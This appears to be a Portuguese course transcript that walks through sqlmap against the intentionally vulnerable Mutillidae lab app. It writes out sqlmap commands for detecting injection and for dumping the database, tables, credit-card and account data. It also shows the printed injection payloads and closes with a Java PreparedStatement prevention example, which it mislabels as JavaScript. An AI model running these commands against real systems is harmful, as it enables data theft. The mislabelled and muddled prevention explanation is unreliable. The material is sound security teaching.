

15  
**SQLMAP**

## Transcrição

Já descobrimos o nome do banco, a quantidade de colunas e o nome de cada uma delas. Fizemos tudo isso utilizando as *queries* que estão cada vez mais difíceis e complexas. Podemos utilizar uma ferramenta, a **SQL Map**, para nos auxiliar nessa tarefa. Vamos começar a testá-la! Primeiro, acessamos o site e seguimos pelo caminho "OWASP 2013 > A1 - Injection(SQL) > SQLi - Extract Data > User Info (SQL)". Vamos simular que somos um usuário comum do sistema, portanto, no *Name*, preenchemos `admin` e para a senha não inserimos nada e damos um "Enter". Teremos a seguinte página:

Note que na própria URL podemos visualizar os parâmetros de *name* e senha que acabamos de passar, vamos copiá-la. Pediremos para o **SQL Map** verificar a vulnerabilidade, assim, abrimos o Terminal do Kali Linux e utilizamos `sqlmap -u` e entre aspas duplas inserimos a URL. O código fica da seguinte maneira:

```
> sqlmap -u "http://192.168.1.37/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button"
```

Dando um "Enter" a pesquisa de vulnerabilidades será iniciada e pode demorar um pouco para finalizar. Teremos o seguinte:

```

root@kali: ~
File Edit View Search Terminal Help
---
Parameter: username (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: page=user-info.php&username='admin' AND (SELECT 8182 FROM(SELECT COUNT
71,(SELECT (ELT(8182=8182,1))),0x71716b7a71,FL00R(RAND(0)*2))x FROM INFORMATION_SC
ROUP BY x)a) AND 'qipl'='qipl&password=&user-info-php-submit-button=View Account D

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: page=user-info.php&username='admin' UNION ALL SELECT NULL,CONCAT(0x716
645755a6a6f4c5064467746584b6a4c4a76714a6b4b52764c6962656363425a4b634d,0x71716b7a71
,NULL-- ijHN&password=&user-info-php-submit-button=View Account Details
---
[13:30:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0
[13:30:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/19'

```

De todas as informações que aparecem uma das mais valiosa é a que afirma: o *back-end* é MYSQL. Assim, temos a confirmação de que estamos lidando com um MySQL .

Agora, vamos perguntar ao **SQL Map** qual o banco utilizado, para tanto, damos a seta para cima e aquilo que já havíamos digitado repete-se, assim, acrescentamos --current-db :

```
> sqlmap - u "http://192.168.1.37/mutillidae/index.php?page=user-info.php&username=admin&passwo
```

Feito isso temos a seguinte resposta:

```

root@kali: ~
File Edit View Search Terminal Help
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY
Payload: page=user-info.php&username='admin' AND (SELECT 8182 F
71,(SELECT (ELT(8182=8182,1))),0x71716b7a71,FL00R(RAND(0)*2))x FRO
ROUP BY x)a) AND 'qipl'='qipl&password=&user-info-php-submit-butto

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: page=user-info.php&username='admin' UNION ALL SELECT N
645755a6a6f4c5064467746584b6a4c4a76714a6b4b52764c6962656363425a4b6
,NULL-- ijHN&password=&user-info-php-submit-button=View Account De
---

[13:31:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0
[13:31:18] [INFO] fetching current database
current database:      'nowasp'
[13:31:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/19'
[*] shutting down at 13:31:18

```

Note que uma das respostas que ele traz é o nome do banco de dados, nowasp :

```
current database: 'nowasp'
```

Agora, podemos perguntar quantas tabelas existem no banco do `nowasp`. Vamos dar mais uma seta para cima e completamos com `--tables -D nowasp`:

```
> sqlmap - u "http://192.168.1.37/mutillidae/index.php?page-user-info.php&username=admin&password=123456&id=1 OR 1=1# --tables -D nowasp
```

Teremos a seguinte informação:

```
root@kali: ~
File Edit View Search Terminal Help
[13:32:03] [INFO] fetching tables for database: 'nowasp'
Database: nowasp
[12 tables]
+-----+
| accounts
| balloon_tips
| blogs_table
| captured_data
| credit_cards
| help_texts
| hitlog
| level_1_help_include_files
| page_help
| page_hints
| pen_test_tools
| youtubevideos
+-----+
```

O `nowasp` possui ao todo 12 tabelas, 11 a mais do que a *Account* descoberta primeiramente! Observe que uma delas tem o nome de `credit_cards`. Imagine uma loja grande ter um furo como esse? Nós chegamos em uma situação na qual através da inserção de códigos, conseguimos descobrir a existência de um banco chamado `credit_cards`. Um hacker desejará ter acesso aos demais dados dos cortes e obtém isso facilmente utilizando o *dump*. Mais uma seta para cima e teremos o mesmo código, junto disso inserimos o `--dump -T credit_cards -D nowasp`. Assim, estaremos pedindo para que seja feito o *dump* da tabela `credit_cards` onde o banco trabalhado é o `nowasp`:

```
> sqlmap - u "http://192.168.1.37/mutillidae/index.php?page-user-info.php&username=admin&password=123456&id=1 OR 1=1# --dump -T credit_cards -D nowasp
```

Dando um "Enter" nisso teremos:

```
root@kali: ~
File Edit View Search Terminal Help
[13:33:13] [INFO] fetching columns for table 'credit_cards' in database 'nowasp'
[13:33:13] [INFO] fetching entries for table 'credit_cards' in database 'nowasp'
[13:33:13] [INFO] analyzing table dump for possible password hashes
Database: nowasp
Table: credit_cards
[5 entries]
+-----+-----+-----+
| ccid | ccv | ccnumber           | expiration |
+-----+-----+-----+
| 1    | 745 | 4444111122223333 | 2012-03-01 |
| 2    | 722 | 7746536337776330 | 2015-04-01 |
| 3    | 461 | 8242325748474749 | 2016-03-01 |
| 4    | 230 | 7725653200487633 | 2017-06-01 |
| 5    | 627 | 1234567812345678 | 2018-11-01 |
+-----+-----+-----+
[13:33:13] [INFO] table 'nowasp.credit_cards' dumped to CSV file '/root/.sqlmap/p/nowasp/credit_cards.csv'
[13:33:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/'
[*] shutting down at 13:33:13
```

Na imagem acima é possível observar que conseguimos acesso a uma série de informações de cartões de crédito que a empresa guardou no banco de dados! Normalmente, empresas que trabalham com dados deste tipo, possuem uma política de segurança extremamente rígida, nesse caso, é preciso melhorá-la!

Vamos retornar a tabela *Account* e confirmar se existem as sete colunas que tínhamos descoberto anteriormente. Para isso, damos uma seta para cima e alteramos o nome da tabela pretendida para: --dump -T accounts -D nowasp :

```
root@kali: ~
File Edit View Search Terminal Help
| 3   | john      | Pentest     | FALSE   | monkey     | John       | I like the smell o
| 4   | jeremy    | Druin       | FALSE   | password   | Jeremy     | d1373 1337 speak
| 5   | bryce     | Galbraith   | FALSE   | password   | Bryce      | I Love SANS
| 6   | samurai   | WTF         | FALSE   | samurai    | Samurai    | Carving fools
| 7   | jim        | Rome        | FALSE   | password   | Jim        | Rome is burning
| 8   | bobby      | Hill        | FALSE   | password   | Bobby      | Hank is my dad
| 9   | simba     | Lion        | FALSE   | password   | Simba     | I am a super-cat
```

Dessa maneira, podemos comprovar que existem sete colunas e, ainda, conseguimos acessar as informações de todos os usuários do site. Ou seja, poderíamos utilizar qualquer usuário e senha para logar no sistema.

Utilizar injeções de SQL e de SQL Map é uma estratégia de verificação permitida apenas na nossa aplicação, fazer uso disso em outros sites da internet é ilegal, é **crime**. Seu uso deve ser limitado somente a aplicação vulnerável que desenvolvemos.

Vamos pensar em maneiras do desenvolvedor prevenir esses ataques! Para explicar utilizaremos exemplos da linguagem *javascript*:

```
String usuario=request.getParameter("usuario");
```

```
String senha=request.getParameter("senha");
```

Observe, na primeira `String` nós temos a requisição do usuário e na segunda a da senha. Uma vez com esses valores é preciso separá-los para não estarem vinculados a *query* dirigida ao banco, pois, é justamente esse o ponto que deixou o sistema tão frágil, veja:

```
String sql = "Insert into accounts (username,password) values (?,?)";
```

Dessa maneira, os parâmetros estão diretamente inseridos na *query* enviada ao banco. Assim, o desenvolvedor não verifica o que está sendo enviado e já sabemos que isso pode incorrer em um problema bastante grave! Por exemplo, dados de cartões de crédito facilmente disponíveis a um hacker.

Fazendo uma simples verificação é possível evitar um grande problema. Utilizando o `PreparedStatement` do *java* conseguimos separar os parâmetros que o usuário passa nos campos usuário e senha, conforme mostrado abaixo:

```
PreparedStatement stmt = connection.prepareStatement(sql);

stmt.setString(1,usuario);

stmt.setString(2,senha);

stmt.execute();
```